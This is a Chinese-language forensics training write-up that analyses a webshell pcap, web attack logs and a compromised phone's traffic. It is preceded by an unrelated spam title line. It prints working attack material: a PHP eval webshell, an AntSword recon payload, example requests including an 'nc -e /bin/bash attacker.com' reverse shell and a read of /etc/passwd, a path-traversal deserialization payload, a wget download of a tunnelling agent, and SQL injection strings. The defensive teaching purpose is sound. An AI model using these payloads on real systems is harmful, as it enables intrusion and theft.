婚禮顧問網站介紹模版有哪些營銷推廣方式
溯源與取證分析實驗
溯源取證分析作為網絡攻防過程中重要環(huán)節(jié),準確找到攻擊者的入侵線索(尤其是攻擊突破口、攻擊IP地址、域名、工具等信息),對于企業(yè)或者團隊安全運營團隊來說都是必備技能。常規(guī)攻擊取證過程中往往會結合流量、Web訪問日志、終端系統(tǒng)或者軟件日志等信息來挖掘或者推斷相關線索。本實驗通過網絡流量、日志等溯源環(huán)境進行真實案例模仿,通過實戰(zhàn)化分析來鍛煉學生的取證溯源能力,從而加深大家對于網絡攻防的實戰(zhàn)化水平。在本實驗結束時,學生應該能夠具備對網絡流量和日志的基本分析能力。
實驗工具:
- Wireshark(版本≥3.0)
- VScode或者類似文本編輯器
Webshell數據包(webshell.zip)
背景介紹: webshell又稱腳本木馬,通過服務器開放的端口獲取服務器的某些權限。
小張單位網站被黑客掛馬,請您從流量中分析出webshell,進行回答:
A. 黑客在整個過程中做了哪些操作,請簡單列舉出來并截圖說明。
B. 黑客登錄系統(tǒng)使用的密碼、黑客的socks5的連接賬號與密碼請列舉出來,并配圖說明。
分析過程
1.用 wireshark 打開 hack.pcap
,可以看到有 HTTP 和 TCP 兩種類型的流量。
2.在已知為 webshell 攻擊后,我們在wireshark中搜索常用的命令,如 whoami, ls, pwd 等,來進行分析。首先在 wireshark 中設置成如下所示的樣子。然后進行搜索。
3.首先搜索 login
,查看登錄信息。發(fā)現登錄的賬號和密碼。
- 賬號:
test
- 密碼:
Admin123!@#
4.然后搜索 whoami
,我們發(fā)現這個它跟參數 aaa
有關。并且此處對日志文件進行了修改。
5.我們繼而對 aaa
進行搜索。發(fā)現 aaa
跟 ifconfig
,ipconfig
,pwd
等指令都有關,我充分懷疑這個參數 aaa
有問題,跟webshell有關。
6.我們仔細觀察會發(fā)現在查詢 aaa
時,有一個很可疑的值(即上面的最后一張圖片),這里變量 aaa
中包含了一個命令,作用是通過 system() 函數執(zhí)行一個 shell
命令,解碼 Base64 編碼的字符串并將其寫入到服務器的 /var/www/html/1.php
文件中。這里有幾個疑點:
- 為什么會去執(zhí)行這樣一個命令?
- 該命令中進行了Base64編碼,懷疑是為了繞過審查
- 一般情況網站上不會去創(chuàng)建叫做
1.php
的文件 .php
文件為常見的webshell腳本
7.分析后,我們對這里的 Base64 編碼進行解碼分析,解碼后如下所示。
<?php eval($_REQUEST[aaa^;?>
8.這段代碼的作用是,通過 eval()
函數執(zhí)行傳遞給 aaa
參數的 PHP 代碼。也就是說,黑客可以在 URL 中傳遞一個惡意的 PHP 代碼作為 aaa
參數,服務器就會執(zhí)行這段代碼。比如說,如果黑客知道 Webshell 的存在,他就可以通過下面所示的這些來實現惡意代碼注入。而將一個php一句話木馬寫入了網站根目錄下的1.php
文件中,可能是為了在服務器持久化存儲該木馬文件
# 執(zhí)行系統(tǒng)命令
http://victim.com/shell.php?aaa^=system('cat /etc/passwd');# 上傳惡意文件(如果 PHP 有文件上傳功能)
http://victim.com/shell.php?aaa^=move_uploaded_file('evil.php', '/var/www/html/evil.php');# 獲取反向Shell(這會在受害者的服務器上啟動一個反向 shell,連接到攻擊者的服務器。)
http://victim.com/shell.php?aaa^=exec('nc -e /bin/bash attacker.com 1234');
9.我們繼續(xù)跟蹤變量 aaa
。發(fā)現一個比較復雜的命令,形式上符合webshell工具——蟻劍的傳輸流量特征。這是一段PHP代碼。
@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "bc"."0f2";echo @asenc($output);echo "f797e"."322e0";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
10.該PHP代碼段是一個典型的 Webshell,它用于收集并輸出受害服務器的關鍵信息。通過隱藏錯誤、禁用時間限制、輸出混淆等手段,攻擊者意圖在受害服務器上執(zhí)行持久化操作。對其分析如下:
@ini_set("display_errors", "0");
@set_time_limit(0);
@ini_set("display_errors", "0")
:關閉錯誤顯示,避免 PHP 錯誤信息泄露。@set_time_limit(0)
:禁用腳本執(zhí)行時間限制,使腳本可以長時間運行,通常用于持續(xù)執(zhí)行的惡意操作。
function asenc($out) { return $out; };
function asoutput() {$output = ob_get_contents();ob_end_clean();echo "bc" . "0f2";echo @asenc($output);echo "f797e" . "322e0";
}
asenc($out)
:這是一個空的加密/解密函數,實際上并沒有對輸出做任何處理,只是返回原樣的數據。asoutput()
:該函數獲取輸出緩沖區(qū)的內容(ob_get_contents()
),清空緩沖區(qū)(ob_end_clean()
),然后輸出一些字符串:bc0f2
和f797e322e0
可能是用來混淆輸出的無意義字符串,增加分析難度。- 然后通過
@asenc($output)
輸出原始緩沖區(qū)內容。這表明該代碼的目標可能是輸出一些信息或返回執(zhí)行結果。
ob_start();
try {$D = dirname($_SERVER["SCRIPT_FILENAME"]);if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);$R = "{$D} ";if (substr($D, 0, 1) != "/") {foreach (range("C", "Z") as $L)if (is_dir("{$L}:")) $R .= "{$L}:";} else {$R .= "/";}$R .= " ";$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";$s = ($u) ? $u["name"] : @get_current_user();$R .= php_uname();$R .= " {$s}";echo $R;
} catch (Exception $e) {echo "ERROR://" . $e->getMessage();
}
ob_start()
:啟動輸出緩沖區(qū),以便后續(xù)的輸出可以捕獲并進行處理(例如用于asoutput()
)。$D = dirname($_SERVER["SCRIPT_FILENAME"])
:獲取當前腳本的目錄路徑。- 如果
$D
為空,則嘗試使用$_SERVER["PATH_TRANSLATED"]
獲取路徑。 - 目錄信息構建:
- 如果路徑是 Windows 系統(tǒng)路徑(不是以
/
開頭),代碼會嘗試列出從 C: 到 Z: 的所有磁盤驅動器,并檢查每個驅動器是否是目錄。 - 如果是 Unix 系統(tǒng),則
$R
的值會是/
。
- 如果路徑是 Windows 系統(tǒng)路徑(不是以
- 用戶信息:
- 使用
posix_getegid()
和posix_geteuid()
獲取當前用戶的組名和用戶名信息(如果存在posix
擴展)。 - 如果
posix
擴展不可用,則使用get_current_user()
獲取當前 PHP 執(zhí)行用戶。
- 使用
php_uname()
:返回操作系統(tǒng)信息,如操作系統(tǒng)名稱、版本、架構等。- 輸出信息:
- 將目錄信息、操作系統(tǒng)信息、當前用戶名拼接并輸出。目的是暴露受害主機的詳細環(huán)境信息,包括操作系統(tǒng)類型、版本、當前用戶等。
} catch (Exception $e) {echo "ERROR://" . $e->getMessage();
}
- 錯誤捕捉:如果在執(zhí)行過程中出現異常,會輸出錯誤信息。
asoutput();
die();
asoutput()
:調用該函數輸出緩沖區(qū)的內容,并將之前收集到的輸出進行處理,可能會顯示一些數據或執(zhí)行其他操作。die()
:腳本執(zhí)行完畢后終止。
11.通過上面的分析,我們可以斷定 1.php
是黑客的惡意程序。我們繼續(xù)跟蹤變量 aaa
。找到這個數據包,我們發(fā)現相較之前的數據包,其代碼段中包含了一個變量 j68071301598f
,并且其值很像一個 Base64 編碼后的代碼。我們對其進行解碼(從第三位開始)得到 frpc.ini
文件路徑:
/var/www/html/frpc.ini
Frpc 為一款內網穿透工具 https://ababtools.com/?post=4421
12.對第二個 item
進行十六進行轉 ASCII 的解碼。結果如下所示。
# item 的內容
item = 5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747275650A
# 轉碼的結果
[common]
server_addr = 192.168.239.123
server_port = 7778
token=Xa3BJf2l5enmN6Z7A8mv[test_sock5]
type = tcp
remote_port =8111
plugin = socks5
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp
use_encryption = true
use_compression = true
13.通過解碼結果我們可以得到:
- 服務器IP:
192.168.239.123
- 服務器端口:
7778
- 使用 SOCKS5 插件
- SOCKS5 代理的用戶名:
0HDFt16cLQJ
- SOCKS5 代理的密碼:
JTN276Gp
至此我們已基本完成對這個流量的分析。
任務完成記錄
A. 黑客在整個過程中做了哪些操作,請簡單列舉出來并截圖說明。
登錄系統(tǒng):
修改日志文件:
寫入webshell:
蟻劍通過webshell進行連接
上傳代理工具客戶端及代理工具回連客戶端:
B. 黑客登錄系統(tǒng)使用的密碼、黑客的socks5的連接賬號與密碼請列舉出來。
見上面的分析過程
-
賬號:
test
-
密碼:
Admin123!@#
-
SOCKS5 的連接賬號:
0HDFt16cLQJ
-
SOCKS5 的密碼:
JTN276Gp
日志分析(日志分析.zip)
小明發(fā)現單位某應用程序被攻擊后提取了對應的日志數據,請分析日志并進行作答:
A. 網絡存在源碼泄漏,源碼文件名是什么?(請?zhí)峤粠в形募缶Y的文件名,例如x.txt,并對流量分析進行截圖)
B. 分析攻擊流量,黑客往/tmp目錄寫入一個文件,文件名是什么?(請對流量分析進行截圖)
C.分析攻擊流量,黑客使用的是什么漏洞讀取了秘密文件?
任務完成記錄
A. 網絡存在源碼泄漏,源碼文件名是什么?
在網絡日志中,HTTP 狀態(tài)碼 200 通常表示請求成功,并且服務器已成功處理并返回了請求的資源。如果日志中有 HTTP 200 OK
狀態(tài)碼,并且請求涉及到某些源碼文件(如 .php
, .jsp
, .py
, .html
等),這可能表明攻擊者通過請求源碼文件而獲得了敏感信息。
所以我們在日志中搜索 200
,查看攻擊者成功訪問了什么文件。
這里訪問了 index.php
, www.zip
, info.php
。
需要知道常見的網站備份文件后綴有 .zip
,.rar
,.7z
等,我們可以看到在成功訪問 www.zip
后,接連訪問了 www.rar
,www.7z
,雖然都是狀態(tài)碼為 404
表示訪問失敗。所以我們合理推測泄露的源碼文件應該是 www.zip
。
B. 分析攻擊流量,黑客往/tmp目錄寫入一個文件,文件名是什么?
在日志文件中查找 tmp
,發(fā)現黑客通過filename參數向/tmp目錄傳遞了一個名叫 sess_car
的文件。
C.分析攻擊流量,黑客使用的是什么漏洞讀取了秘密文件?
對上面截圖中的URL編碼進行解碼,我們可以看到是利用了 SplFileObject
的漏洞讀取了秘密文件。
# 原始 URL編碼
filename=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D HTTP/1.1" 302 879 "-" "python-requests/2.26.0"# URL解碼后
filename=../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0"
SplFileObject帶來的漏洞
SplFileObject 是 PHP 中一個用于文件處理的類,它為文件操作提供了更高級的功能,比如逐行讀取文件內容、寫入文件等。SplFileObject 本身并沒有漏洞,但由于它的使用不當或不安全的反序列化,攻擊者可能通過它來利用一些漏洞,特別是在 PHP 反序列化漏洞 中,SplFileObject 類通常會被濫用來進行惡意操作。
攻擊“蘋果”注入(ios.zip)
一位蘋果安全研究員在家中使用手機聯(lián)網被黑,不僅被竊密還丟失比特幣若干,請你通過流量和日志分析后作答:
A. 簡述黑客的整個攻擊過程,關鍵步驟請配圖說明。
B. 黑客所控制的C&C服務器IP是什么?
C.被害者手機上被拿走了的私鑰文件內容是什么?
任務完成記錄
A. 簡述黑客的整個攻擊過程,關鍵步驟請配圖說明。
1.首先查看日志文件 access.log
。因為木馬文件常為 php
文件在日志文件中搜索 .php
,我們可以看到有一個文件 ma.php
被上傳,并且紅色框出的編碼經base64解碼后的結果為 whoami
,并且后面的操作都與這個文件相關。所以此處是一個webshell請求,并且這個文件是一個木馬文件。
fxxk=system(base64_decode(%27d2hvYW1p%27))
2.接下來我們查看流量文件 triffic.pcap
。在使用Wireshark的跟蹤流功能跟蹤到第15個TCP流時,如下所示我們可以看到一個類似于 Linux 客戶端的界面,先后執(zhí)行了
ls
wget https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent && chmod 755 ios_agent
: 使用wget命令訪問網站下載了GitHub的資源并賦予了可執(zhí)行權限。下載的項目是一個內網穿透工具叫做 Stowaway。
2.我們進入 Stowaway 的 github 主頁,看到他的參數介紹,如下所示。
admin:
參數:
-l 被動模式下的監(jiān)聽地址[ip]:<port>
-s 節(jié)點通信加密密鑰,所有節(jié)點(admin&&agent)必須一致
-c 主動模式下的目標節(jié)點地址
--socks5-proxy socks5代理服務器地址
--socks5-proxyu socks5代理服務器用戶名(可選)
--socks5-proxyp socks5代理服務器密碼(可選)
--http-proxy http代理服務器地址
--down 下游協(xié)議類型,默認為裸TCP流量,可選HTTP/WS
--tls-enable 為節(jié)點通信啟用TLS,在啟用TLS后,AES加密將被禁用
--domain 指定TLS SNI/WebSocket域名,若為空,默認為目標節(jié)點地址
--heartbeat 開啟心跳包
agent:
參數:
-l 被動模式下的監(jiān)聽地址[ip]:<port>
-s 節(jié)點通信加密密鑰
-c 主動模式下的目標節(jié)點地址
--socks5-proxy socks5代理服務器地址
--socks5-proxyu socks5代理服務器用戶名(可選)
--socks5-proxyp socks5代理服務器密碼(可選)
--http-proxy http代理服務器地址
--reconnect 重連時間間隔
--rehost 端口復用時復用的IP地址
--report 端口復用時復用的端口號
--up 上游協(xié)議類型,默認為裸TCP流量,可選HTTP/WS
--down 下游協(xié)議類型,默認為裸TCP流量,可選HTTP/WS
--cs 運行平臺的shell編碼類型,默認為utf-8,可選gbk
--tls-enable 為節(jié)點通信啟用TLS,在啟用TLS后,AES加密將被禁用
--domain 指定TLS SNI/WebSocket域名,若為空,默認為目標節(jié)點地址
3.我們參考這個說明,繼續(xù)分析這個流量文件。我們發(fā)現攻擊者運行ios_agent命令進行攻擊。并且可以得到攻擊者主機IP是 3.128.156.159
,加密密鑰是hack4sec
。至此對于該TCP流已分析完畢。
4.我們繼續(xù)對流量進行分析,我們想要訪問HTTP流量時發(fā)現全部經過加密,無法正常閱讀,這是因為當瀏覽器訪問https站點時使用SSL/TLS協(xié)議,必須擁有服務器私鑰,才能得到用于對稱加密的密鑰,然后真正解開加密的數據。這時我們使用提供的密鑰文件 keylog.txt
進行解密。
TCP流解密方法 https://blog.csdn.net/for_mat_/article/details/118107321
5.解密后我們查看 HTTP 流量,發(fā)現其中有明顯的關于 SQL 注入的特征字段,所以將該部分字段拿來進行URL解碼。發(fā)現確實是在進行布爾注入。
# 解碼得到HEADERS[93]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[93]
6.在滲透中通常要掃描端口,由于大多數端口關閉,主機會發(fā)出RST,我們只需在wireshark的專家模式中找到RST數據包的最大和最小端口即可確定端口掃描范圍。端口掃描范圍為 10-499
。
Wireshark 的專家模式的打開方式
至此對于黑客的攻擊過程基本分析完畢。
B. 黑客所控制的C&C服務器IP是什么?
由前面的分析過程我們可知,C&C服務器IP : 3.128.156.159
C.被害者手機上被拿走了的私鑰文件內容是什么?
將上面的所有SQL注入的每一位的最后一條請求的值連在一起,再使用hex解碼就可以得到?個uuid值即為私鑰文件的內容。
# 例如下面這個就取 3
43052 2021-08-28 14:10:57.001000 192.168.1.8 192.168.1.12 HTTP2 246 HEADERS[3]: GET /info?l=1&o=%28case_when_%28select_hex%28substr%28password%2C1%2C1%29%29_from_user%29%3D%222D%22_then_id_else_col1_end%29, WINDOW_UPDATE[3]# 全部拼在一起后
37343635386633206338343120343536642038356437206436633066656461626232# 通過HEX解碼得到
746558f3-c841-456b-85d7-d6c0f2edabb2
拿到的私鑰文件內容為:746558f3-c841-456b-85d7-d6c0f2edabb2
參考資料
[1] https://www.cnblogs.com/leo1017/p/17949472
[2] https://blog.csdn.net/qq_64389397/article/details/135440190